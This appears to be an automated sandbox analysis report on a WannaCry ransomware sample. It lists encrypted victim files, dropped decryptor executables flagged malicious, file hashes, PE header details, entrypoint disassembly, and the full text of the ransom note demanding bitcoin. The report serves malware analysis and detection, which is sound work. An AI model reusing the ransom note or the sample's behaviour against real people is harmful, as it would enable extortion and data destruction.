                                      Preview:WANACRY!........V.b.6.7J.z.$L2....J\|...#fj....od..A.PLN...5..S.-.L........ 9V.N......r..6p.b..W.....`w..5....y.`o...[x.o.Z.v.AY.A.`j...4.({. y..p...C..S......_.L...F...-&..O.)...h...2.9.WnK..J.6B...y.X.F.|p,.$..,.x..C...]......7..:..........Tqnry....F.|.<e.....................F7.L..M...J.TK.....C."....d...)...S.....&.b."......-.=...@..)*.g...M55.Fq.....?.Y...h<...Y....4......k....z..~#.,..(+p.3&.....('.'...X8..8l.]..'~v......ARv......).I<.P..mu.[S.N...5..._m.\n.....e`s..m...N...\..c7....5.`..5d._G..FVG.l.J>1...C...?a..Eq.......3..<....<u...l.1..@..U./..<},..my......r..!.....P.......o.@.Nx.C..._..K.S.....(l.....%.?bK.1...$....I.V.........T...$5....+.~..f..... K..8.U.X..E......D*.y...{.Xi..q&..=.W|.......)[...H..G..S.\....fM*(..(.PQ........C=4.....b.^...^..._..<w.1......R.....o..!.pQ>3Q..hy..}X.Ut......?Sy|.....z..C..wl.\^-.Y.....U....%.i.Q.h.A..~".`b4D..8t(+.*3...........Ry.....@PQ.)....8.Av|...q....h...7....q)*S.`..2._..<..:..Q.u^+

                                      C:\Users\user\Downloads\ZQIXMVQGAH.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.847927901321985
                                      Encrypted:false
                                      SSDEEP:24:bkuGfipBJgZv2cW02lvrmd1iCrVHpDq4vmhG/BxQ71UEuZrkwE:bkuuipg52HBpCrrWkaG/TQpUEgrkT
                                      MD5:8827834C76C57F6CC341DFD7F83AB7E1
                                      SHA1:1650E30A4D1575F557C92FC3E0D606B2FD58302A
                                      SHA-256:C09A4530F31FF2B25A4D0F91261DCF76552C11E5CCB70A25B4045B7CE3A132FC
                                      SHA-512:182E7A2BAD4F1BEFB4EAC211DBAF05D50AE176FBFB2E40FF939D44D7D9B263EA6AD6A6D86BD2A2D7EBE9EAB0C665817C639B00AA6909E1A8549FF2045AC441CB
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....dG.c+...V...dT89.B.Z....m'......P.Ne..|.0.zT6..p...Wa..uK..A.r..._.UB_..;.Ny.,-.:...jU......g.~.v.x..F:.9.......p.....lFc....e.N.....x>F..!.....vRt.S....!e.t.,.BGpW.y.F)%(.iqe.o...x...\ e.~...'.......m...ys.!.8..6.:.,..{F..l.e.E..2Z.................... .(.....Ei..rl.Ec_.(J{O.x..Z.y!...A.o....Z...E#..J....<..>(.xx>~........+..}..@P^zj|.O.............t~.fF.....Y+.(b.1....O...../H...L6 j......~.&XRh.....Pz.F..).L=..T...vH..g.K..0.!...N_.}`}H....@.....f..Aykh...a5n4*.....okG...QP... ...+...U....lb..9........Y:..-.|J.x...]q.. ...%.KB.....FRT^L.N._C7RR..d.....Y.. ..%%...3w...<h.NO.d....TY.<F\....mcvP.A6..S....b+.`.5.n..C.gq.S...ph.#..fg.e..,....B.o..{.. .)./.Xr..Y,l,<...4.^.},4.d..H!W....6Jl..E.n..*`...S2->.....V..-\...%.|O...Q.1@.F..I...a.~!...E.nt...y..._...Fw.....;.......].hN.OUn.\4...U..0..@>..H..U..y...).^.[s..1.....5.-.{2..T.P.i.B]...$+.....=+.q\...n....c.^.t.d...M.....:d<....z.....\*..}/..,;Z..R.kh..67r..Y[;z.#.`r....DI

                                      C:\Users\user\Downloads\ZTGJILHXQB.docx.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.82405568401425
                                      Encrypted:false
                                      SSDEEP:24:bkEv7YTro2kl7Dx3b8x2Tmd52m+V+kmSX3s5RDnfUiYOPtt8l829QFF3wQdbfa:bkHTrDGxvmdT+gxbfUiYKOd9QFFLa
                                      MD5:0004F3362B09498EC8CAAAF9DC59CDB9
                                      SHA1:8716B21F8264F7E62FEE34CDB0DAB164CECCBC8E
                                      SHA-256:87633643F734D489B527281059023C2AC477624376EB4C88582788EB0163E205
                                      SHA-512:3637F987BC87EFA2B7978EC29AB97D35C810D41BBBA9589E3CF2C3CBB021E69CC218824E43A21DEC58E65DBF82ECA6FF8F42E31A69998F678AAEAC59F1C32832
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......{4....mmqp.<.....o.f[.5..p..V.%s.g+..2..f/{..B.8.....f.|....-W.'..I.J.X........J..4V..Ka.....1..&I?....a......e.;c..:../.t..].....YY..9.F.?..y.NEd..W.d3..TcKb..g.../>.TH.0....-4....9gc.....k........]DG+-.F..T.$\7T..=.pZ}....`.[7-.!..,\...............m.....^.v>..F.5.....l.-uM6.U.?.9F....j*.....s......r.]....w-.j......i.iu'd..7-.f.%.Af&.o.:y.YJ!c...:.~.7/..H........i...>..3NH.j!....85.....R.^.........K...O.J..5Q.P.g.)..m.nZg!*..b8.S)p.%.././.@WQD.j.....j.=..d.B.BAFn.AX*3..f..yf.....9]..R.ZU...T.H...Jq..p.....@.Y1F.aM.H.B. ....e.....r.=..{.,E.I......v...C].aOm..~._.%.b..j....":..'....M..+...F....m.\T..k&n.K"q{.....T..;~l...x.5.G....QH...X~Gj..W..B...R...4n.l.Xd.........1T...N..m.........bI.@.9.>.J.B....td..:.U<..I.~....em..Fe.L5.u.]'C.B<.~..^.nE...$B...f...{..!5..]s.cd*..}..`].8..&>N...e.{!..A.D.9.5..(.3q.5.!EK.M[...3./*.,.'.....yC...f..e.Tv....`....x.X..;9..fC..W.?[.......>...NUY-.&..........E.d.........s;..........S../J....

                                      C:\Users\user\Downloads\ZTGJILHXQB.pdf.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1320
                                      Entropy (8bit):7.860536619588995
                                      Encrypted:false
                                      SSDEEP:24:bkhDuegCIbo62HSdFhkrkTGXC79i/BjhTKBASD19XHFtwJka8OW6Wmj4O920:bkBuesiHehBAC7GheBBTJ6Wm5h
                                      MD5:D2E1F72795E3FC01912DF14FDC9D36D5
                                      SHA1:FA61D5979BD6373F1A1F44E2E0E868965EE99073
                                      SHA-256:79107E18F616AE4B5BB909F10FA655B8D9BC2561C12E413E396EE3F399710924
                                      SHA-512:B3851EDCA2B4AC1F1744AED2D9E5241EA6B6F27426700BECEC3F74875E8F8C4218E019B86491213222A2716A1A48856D584BAAF0CBDC1BDCEE0A0E9A7F0BFF14
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......Z...u.@....D.x`.9@4&...=....L.$}.I9....].i...^`CiY.#z,.....,.......=.....F..'.,...x...JP1......2.OW5K.$..6....8..D.r.R.!....bu..........m..G..E..S.x.8...F..w.<T..o...........3...v...q,..q.l.......=.........D*..J...{XDI.....C.....L.e................"...er.......I2.{..*$...w...}l.....o....>>..[.....Kc.xCN...A..a....W|.'i...B.l...#0yQ..g.....;N..Du#|.gB....[._o....n..#..s.wL..hp4..BQ.]m.l...49..`D.M.(c....1.T....K_?J.a.....itRar1.....tM.4............@..6..c. ......G%......p..<.nf..!....U......2..{<v`.^.Z.......8......,/.^../!..fv.Hf.r,KRU......:.?.(n...y...Y..........F~.E......Y.1...+"J......w.".z.u(=......k..P[.....K 4E._..;. ........W.......... ....[....Q..&....~.....>*0..-....n<*7.q..)........y...8*hGX....a..7....o.^=.b.....".}OH.R..n$YB..v..,;.O$.KI.....t.qq-....#%q..vcj.}.'8.At])...=b..M.!O.u?.P..!......)...Q..;s.j0o@.6$.}7.^.F.@.!..n-B.^.O....3....w.....B...oz....v...'..XDRF..?......(.i"?..p..m/v{f.!..8Q

                                      C:\Users\user\Downloads\eicar.com.txt.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):360
                                      Entropy (8bit):7.3533563439450065
                                      Encrypted:false
                                      SSDEEP:6:bkE0rSeAWF7eQBX0QrpHU21/jFQJ8uLigJIr4ZI9JuXabFrSYsExsaUZllVTy:bkEEJ9/rn5FQJ8qigO4ZIbuXabZSYsEx
                                      MD5:9F9F7EC54061CE02A7F1BB5616AB7DA2
                                      SHA1:10AB9C8053B169977D7354C2A399CDFDF5C83C9D
                                      SHA-256:5F9DB55FDD5C6F52582233278226E1BD7BCC7AC3D358C91C6BD27DAB5F73A884
                                      SHA-512:2E8FFDB33B8FDC39C42872EF890388C90A8BEA7C0C0770B04BFEA283762F0895B3588D8CBFF41E3624E11C9BC0A6418914BF0E1411EC421349C4395F18679C31
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!......i....2...0>......I-...'N...Q;.y.r.~4yJl....v;.^h.,38.V~f.M.f....-[....I3..fYi.....BR..qd....>...%......+...._...c.s0...V....2..BH]....p...?...zT.X..'..Xe..n...-.....UT....g).....>#.CF>..u.....eP..q.G.<.~.....P...l..[>.E..Q.vm.....`.......-.O.`.2......D........H.*.8..~..{.....y./...J.b..3..X.<..<7.'.Z.....I..w&..'.[.:...0....JS.G..-.l

                                      C:\Users\Default\Desktop\@WanaDecryptor@.bmp

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                      Category:dropped
                                      Size (bytes):1440054
                                      Entropy (8bit):0.3363393123555661
                                      Encrypted:false
                                      SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                      MD5:C17170262312F3BE7027BC2CA825BF0C
                                      SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                      SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                      SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\Default\Desktop\@WanaDecryptor@.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):245760
                                      Entropy (8bit):6.278920408390635
                                      Encrypted:false
                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\Public\Desktop\@WanaDecryptor@.bmp

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PC bitmap, Windows 3.x format, 800 x 600 x 24, image size 1440000, resolution 3779 x 3779 px/m, cbSize 1440054, bits offset 54
                                      Category:dropped
                                      Size (bytes):1440054
                                      Entropy (8bit):0.3363393123555661
                                      Encrypted:false
                                      SSDEEP:384:zYzuP4tiuOub2WuzvqOFgjexqO5XgYWTIWv/+:sbL+
                                      MD5:C17170262312F3BE7027BC2CA825BF0C
                                      SHA1:F19ECEDA82973239A1FDC5826BCE7691E5DCB4FB
                                      SHA-256:D5E0E8694DDC0548D8E6B87C83D50F4AB85C1DEBADB106D6A6A794C3E746F4FA
                                      SHA-512:C6160FD03AD659C8DD9CF2A83F9FDCD34F2DB4F8F27F33C5AFD52ACED49DFA9CE4909211C221A0479DBBB6E6C985385557C495FC04D3400FF21A0FBBAE42EE7C
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:BM6.......6...(... ...X.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                      C:\Users\Public\Desktop\@WanaDecryptor@.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):245760
                                      Entropy (8bit):6.278920408390635
                                      Encrypted:false
                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                      C:\bcd_restore(new).bat.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):1416
                                      Entropy (8bit):7.852665029575089
                                      Encrypted:false
                                      SSDEEP:24:bk4+6D/fAJujSq8oSVNyZR1KJvgbSE4013hZ6+C2YkaTeMbvSj8zwcjBA4I:bkhSQJ0Sq8ozrKRh70ow6TeMbvtzwGBA
                                      MD5:3B007BE4BA112FCB613EA6EF8B909B9E
                                      SHA1:C106EEA8BD5BBA13CCE102D7B28615F261DA8FD3
                                      SHA-256:7A9268F2F4BFE4AFF9AC0750BEBBA856E874792BCBC8BF8795E3594F394AB409
                                      SHA-512:6A17C1D38CEC40FBFFD6D32EDDA0365F5FD442BF767026771A00E01517DB13290067C47943D239F2AC83DF618C1D3FFF88F6F28CBC5880538886CBA4C7D0B985
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....c..oj....`.C]...>."lU......V.%...{.....(. .C..D..-.ICV........C..{..../M..B....9.#!..w..H...\.E.9!.....e..o..?...{.^.1..\.6%E..y@.1.OR)".1...eE../3.w...C....B. .7y.e.PQ..]9.j...y...6..l.8.L....j......K.J|....V#....(..R..G.NpX.D.td......T..jn.}2.kx....l.......!m.nC...g.............c..U....@...k.x.f.L} ?..,c.1Ol......5...d~:........&...B\..~.] u..(\43. .pO@..B.VT....y.z.K.......&(U,f."48.].j..(;..HB..oB....YE.~0W....5t...6^..._.....%.....-..x...eA&_.....a.Rj.mdI....2l......s..D...K....z...4,....#A..IA$..k.... ^a...z.....{..[:o..g.+.)..S".......%....H....C.... .W].0./..CC.o..vH....#48...oN.......>@ZH.r.S......?.Z...Q/j....K4)..k.?...=...3.>199s..[.c..Y....e.-6Kl(...E=..%.%.`%t..i64I}.*.X.{.F..v...Yb3..)v.D...)..:-...U.gL/1...@..C}%...Jj.|..J...X.P.Rb,..p.}....2.............3P.y..z..B..'....W...[......./]}...W.]..~K5Uw}......AH...I.S~....c.R."D.".t.."....l.....E)J=jU#..9E.1...P...........#...N,.hH.....@...u1Be.,...{.W.8= ......+=.....3.A

                                      C:\found.001\30000000-trans[1].gif.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):328
                                      Entropy (8bit):7.1756939379123885
                                      Encrypted:false
                                      SSDEEP:6:bkEtBGBDaMMRPUpjNsBcT25FiN5mh82vNQEPLDbb/IeAFey7OMtfoq:bkEIDaMyWs5FiNcdNQEPLD/NAcy7DtB
                                      MD5:F3FE332096A3FB91AC2B1E868C526234
                                      SHA1:0B76548547727EBA276DB09A2969C152D309A200
                                      SHA-256:02E7C2635771ADAD3B35972B26F0CA892017FBA76CC3DD17A7FAAA0A22BA1151
                                      SHA-512:A2ACD432183E6A02DCB0B5F9B94966D757E710DEE36B5ED501222206B455A33477A728AF148F0FA81F2F749DE2F9CD96EFD87AEE0BDD4580C13BB303B172BF87
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....36p...5.nF..R}M|aI.\.a...g.0I....I...gf@.3.`."l.#."h..b...H.....o..../".,..5....8..^.....]....mW.K....?.5q...g.M..s.e.5....Z.^....'..&.6.w.c.bJA.......Y.....'ep>.o.....>.1].O#.. (x..a*4X.x0.m...D5.....I..D.Za.'...x:.%...._/..`.....S.01.qt.=.6.A....u.t8....+.......|$....N(..#(......M.....]^=......,..|XIPMu..C

                                      C:\found.001\40000000-trans[2].gif.WNCRYT

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:data
                                      Category:dropped
                                      Size (bytes):328
                                      Entropy (8bit):7.331043384383071
                                      Encrypted:false
                                      SSDEEP:6:bkELOqRiuxhAbNPzFcn635eqP/IMhqU3/jb8gYs5y3PH+yapzG1OrE8At:bkEiqR9cdWYVwMhqUPjQgYs5y/eyOag+
                                      MD5:2D2EB8714CE8AB9D4E420306544177B1
                                      SHA1:1C1C6FA29AFCDE21C2BE61A1DB0CFF8FFC4458AD
                                      SHA-256:E73487ABADD00D8A3450CA57F9409C64703153ECB5CEDB0BDB2F164C73BF4E8F
                                      SHA-512:B814D18EA20523EE24560B6AB32FE44F828A23A5EF0F5E7C719A357C40FB829DAF82060C0D95EE6A98D5CBAB85DDE74FDF5249698D122CB1254CE3145D8840FA
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:WANACRY!....K.;.8.Y~...n........g..g.#...h..Ut*.s....8LA.."n.i..xg_.Q.'...."....C[..\.tb...7,.6..wZ.v<].....s..0..G.SJ......a.;..pkz.rzy...).R....!D.=..[..m.5...-.$@.6.....$N$....2........y.ps.p.o8.|'.....a>b.~l.K...p.....F.\l.S..^.k%......R$.E.v.Nk....$.|....+.........^...1..H...o.V...Oa!!.......tC.....I....*...]

                                      C:\found.001\@Please_Read_Me@.txt

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:ASCII text, with CRLF line terminators
                                      Category:dropped
                                      Size (bytes):933
                                      Entropy (8bit):4.708686542546707
                                      Encrypted:false
                                      SSDEEP:24:ptrPzDVR5Gi3OzGm0EigS1xbnrRQhbrW8PNAi0eEprY+Ai75wRZcet:DZD36W3yhvWmMo+S
                                      MD5:F97D2E6F8D820DBD3B66F21137DE4F09
                                      SHA1:596799B75B5D60AA9CD45646F68E9C0BD06DF252
                                      SHA-256:0E5ECE918132A2B1A190906E74BECB8E4CED36EEC9F9D1C70F5DA72AC4C6B92A
                                      SHA-512:EFDA21D83464A6A32FDEEF93152FFD32A648130754FDD3635F7FF61CC1664F7FC050900F0F871B0DDD3A3846222BF62AB5DF8EED42610A76BE66FFF5F7B4C4C0
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:Q: What's wrong with my files?....A: Ooops, your important files are encrypted. It means you will not be able to access them anymore until they are decrypted... If you follow our instructions, we guarantee that you can decrypt all your files quickly and safely!.. Let's start decrypting!....Q: What do I do?....A: First, you need to pay service fees for the decryption... Please send $300 worth of bitcoin to this bitcoin address: 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn.... Next, please find an application file named "@WanaDecryptor@.exe". It is the decrypt software... Run and follow the instructions! (You may need to disable your antivirus for a while.).. ..Q: How can I trust?....A: Don't worry about decryption... We will decrypt your files surely because nobody will trust us if we cheat users... ....* If you need our assistance, send a message by clicking <Contact Us> on the decryptor window....

                                      C:\found.001\@WanaDecryptor@.exe

                                      Download File
                                      Process:C:\Users\user\Desktop\LisectAVT_2403002A_126.EXE.exe
                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Category:dropped
                                      Size (bytes):245760
                                      Entropy (8bit):6.278920408390635
                                      Encrypted:false
                                      SSDEEP:3072:Rmrhd5U1eigWcR+uiUg6p4FLlG4tlL8z+mmCeHFZjoHEo3m:REd5+IZiZhLlG4AimmCo
                                      MD5:7BF2B57F2A205768755C07F238FB32CC
                                      SHA1:45356A9DD616ED7161A3B9192E2F318D0AB5AD10
                                      SHA-256:B9C5D4339809E0AD9A00D4D3DD26FDF44A32819A54ABF846BB9B560D81391C25
                                      SHA-512:91A39E919296CB5C6ECCBA710B780519D90035175AA460EC6DBE631324E5E5753BD8D87F395B5481BCD7E1AD623B31A34382D81FAAE06BEF60EC28B49C3122A9
                                      Malicious:true
                                      Reputation:unknown
                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......%...a...a...a......b.......u.......`.....d.......j.......e...W...b...a.......W...s.......`...Richa...................PE..L.....[J.................@...p.......1.......P....@..................................................................................0..|............................................................................P...............................text....3.......@.................. ..`.rdata..h....P.......P..............@..@.data....2.......0..................@....rsrc...|....0....... ..............@..@........................................................................................................................................................................................................................................................................................................................................................

                                      \Device\ConDrv

                                      Download File
                                      Process:C:\Windows\SysWOW64\wbem\WMIC.exe
                                      File Type:ASCII text, with CRLF, CR line terminators
                                      Category:dropped
                                      Size (bytes):48
                                      Entropy (8bit):4.305255793112395
                                      Encrypted:false
                                      SSDEEP:3:8yzGc7C1RREal:nzGtRV
                                      MD5:6ED2062D4FB53D847335AE403B23BE62
                                      SHA1:C3030ED2C3090594869691199F46BE7A9A12E035
                                      SHA-256:43B5390113DCBFA597C4AAA154347D72F660DB5F2A0398EB3C1D35793E8220B9
                                      SHA-512:C9C302215394FEC0B38129280A8303E0AF46BA71B75672665D89828C6F68A54E18430F953CE36B74F50DC0F658CA26AC3572EA60F9E6714AFFC9FB623E3C54FC
                                      Malicious:false
                                      Reputation:unknown
                                      Preview:ERROR:...Description = Initialization failure...

                                      Static File Info

                                      General

                                      File type:PE32 executable (GUI) Intel 80386, for MS Windows
                                      Entropy (8bit):7.995467986215682
                                      TrID:
                                      • Win32 Executable (generic) a (10002005/4) 99.96%
                                      • Generic Win/DOS Executable (2004/3) 0.02%
                                      • DOS Executable Generic (2002/1) 0.02%
                                      • Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
                                      File name:LisectAVT_2403002A_126.EXE.exe
                                      File size:3'514'376 bytes
                                      MD5:c98e7230adb1ba8d2f2082ca885068bb
                                      SHA1:523a6fdf84bc1b0eec54d9532b3dbe564f29af38
                                      SHA256:6cf41e72620cafb1577415d626dbb66c8c796d7167164ca091a27c4273378a20
                                      SHA512:fd20a85e28ca7e4db3015299ce2b047c7868978ca98e170f3251b831b70214f6b4466b2e324edd9e5df33672d918be68929c975838dde8e877c94ea60d57c641
                                      SSDEEP:98304:QqPoBhz1aRxcSUDk36SAEdhvxWa9P593R8yAVp2g3:QqPe1Cxcxk3ZAEUadzR8yc4g
                                      TLSH:F4F533F4E221B7ACF2550EF64855C59B6A9724B2EBEF1E26DA8001A70D44F7F8FC0491
                                      File Content Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........:...T...T...T...X...T..._...T.'.Z...T...^...T...P...T.g.....T...U...T..._...T.c.R...T.Rich..T.........................PE..L..

                                      File Icon

                                      Icon Hash:90cececece8e8eb0

                                      Static PE Info

                                      General

                                      Entrypoint:0x4077ba
                                      Entrypoint Section:.text
                                      Digitally signed:false
                                      Imagebase:0x400000
                                      Subsystem:windows gui
                                      Image File Characteristics:RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
                                      DLL Characteristics:
                                      Time Stamp:0x4CE78F41 [Sat Nov 20 09:05:05 2010 UTC]
                                      TLS Callbacks:
                                      CLR (.Net) Version:
                                      OS Version Major:4
                                      OS Version Minor:0
                                      File Version Major:4
                                      File Version Minor:0
                                      Subsystem Version Major:4
                                      Subsystem Version Minor:0
                                      Import Hash:68f013d7437aa653a8a98a05807afeb1

                                      Entrypoint Preview

                                      Instruction
                                      push ebp
                                      mov ebp, esp
                                      push FFFFFFFFh
                                      push 0040D488h
                                      push 004076F4h
                                      mov eax, dword ptr fs:[00000000h]
                                      push eax
                                      mov dword ptr fs:[00000000h], esp
                                      sub esp, 68h
                                      push ebx
                                      push esi
                                      push edi
                                      mov dword ptr [ebp-18h], esp
                                      xor ebx, ebx
                                      mov dword ptr [ebp-04h], ebx
                                      push 00000002h
                                      call dword ptr [004081C4h]
                                      pop ecx
                                      or dword ptr [0040F94Ch], FFFFFFFFh
                                      or dword ptr [0040F950h], FFFFFFFFh
                                      call dword ptr [004081C0h]
                                      mov ecx, dword ptr [0040F948h]
                                      mov dword ptr [eax], ecx
                                      call dword ptr [004081BCh]
                                      mov ecx, dword ptr [0040F944h]
                                      mov dword ptr [eax], ecx
                                      mov eax, dword ptr [004081B8h]
                                      mov eax, dword ptr [eax]
                                      mov dword ptr [0040F954h], eax
                                      call 00007F6A5040EFEBh
                                      cmp dword ptr [0040F870h], ebx
                                      jne 00007F6A5040EEDEh
                                      push 0040793Ch
                                      call dword ptr [004081B4h]
                                      pop ecx
                                      call 00007F6A5040EFBDh
                                      push 0040E00Ch
                                      push 0040E008h
                                      call 00007F6A5040EFA8h
                                      mov eax, dword ptr [0040F940h]
                                      mov dword ptr [ebp-6Ch], eax
                                      lea eax, dword ptr [ebp-6Ch]
                                      push eax
                                      push dword ptr [0040F93Ch]
                                      lea eax, dword ptr [ebp-64h]
                                      push eax
                                      lea eax, dword ptr [ebp-70h]
                                      push eax
                                      lea eax, dword ptr [ebp-60h]
                                      push eax
                                      call dword ptr [004081ACh]
                                      push 0040E004h
                                      push 0040E000h
                                      call 00007F6A5040EF75h

                                      Rich Headers

                                      Programming Language:
                                      • [C++] VS98 (6.0) SP6 build 8804
                                      • [EXP] VC++ 6.0 SP5 build 8804

                                      Data Directories

                                      NameVirtual AddressVirtual Size Is in Section
                                      IMAGE_DIRECTORY_ENTRY_EXPORT0x00x0
                                      IMAGE_DIRECTORY_ENTRY_IMPORT0xd5a80x64.rdata
                                      IMAGE_DIRECTORY_ENTRY_RESOURCE0x100000x349fa0.rsrc
                                      IMAGE_DIRECTORY_ENTRY_EXCEPTION0x00x0
                                      IMAGE_DIRECTORY_ENTRY_SECURITY0x00x0
                                      IMAGE_DIRECTORY_ENTRY_BASERELOC0x00x0
                                      IMAGE_DIRECTORY_ENTRY_DEBUG0x00x0
                                      IMAGE_DIRECTORY_ENTRY_COPYRIGHT0x00x0
                                      IMAGE_DIRECTORY_ENTRY_GLOBALPTR0x00x0
                                      IMAGE_DIRECTORY_ENTRY_TLS0x00x0
                                      IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG0x00x0
                                      IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT0x00x0
                                      IMAGE_DIRECTORY_ENTRY_IAT0x80000x1d8.rdata
                                      IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT0x00x0
                                      IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR0x00x0
                                      IMAGE_DIRECTORY_ENTRY_RESERVED0x00x0

                                      Sections

                                      NameVirtual AddressVirtual SizeRaw SizeMD5Xored PEZLIB ComplexityFile TypeEntropyCharacteristics
                                      .text0x10000x69b00x7000920e964050a1a5dd60dd00083fd541a2False0.5747419084821429data6.404235106100747IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
                                      .rdata0x80000x5f700x60002c42611802d585e6eed68595876d1a15False0.5781656901041666data6.66357096840794IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
                                      .data0xe0000x19580x200083506e37bd8b50cacabd480f8eb3849bFalse0.394287109375Matlab v4 mat-file (little endian) ry, numeric, rows 0, columns 04.4557495078691405IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
                                      .rsrc0x100000x349fa00x34a000f99ce7dc94308f0a149a19e022e4c316unknownunknownunknownunknownIMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

                                      Resources

                                      NameRVASizeTypeLanguageCountryZLIB Complexity
                                      XIA0x100f00x349635Zip archive data, at least v2.0 to extract, compression method=deflateEnglishUnited States1.0002689361572266
                                      RT_VERSION0x3597280x388dataEnglishUnited States0.46349557522123896
                                      RT_MANIFEST0x359ab00x4efexported SGML document, ASCII text, with CRLF line terminatorsEnglishUnited States0.42913697545526525

                                      Imports

                                      DLLImport
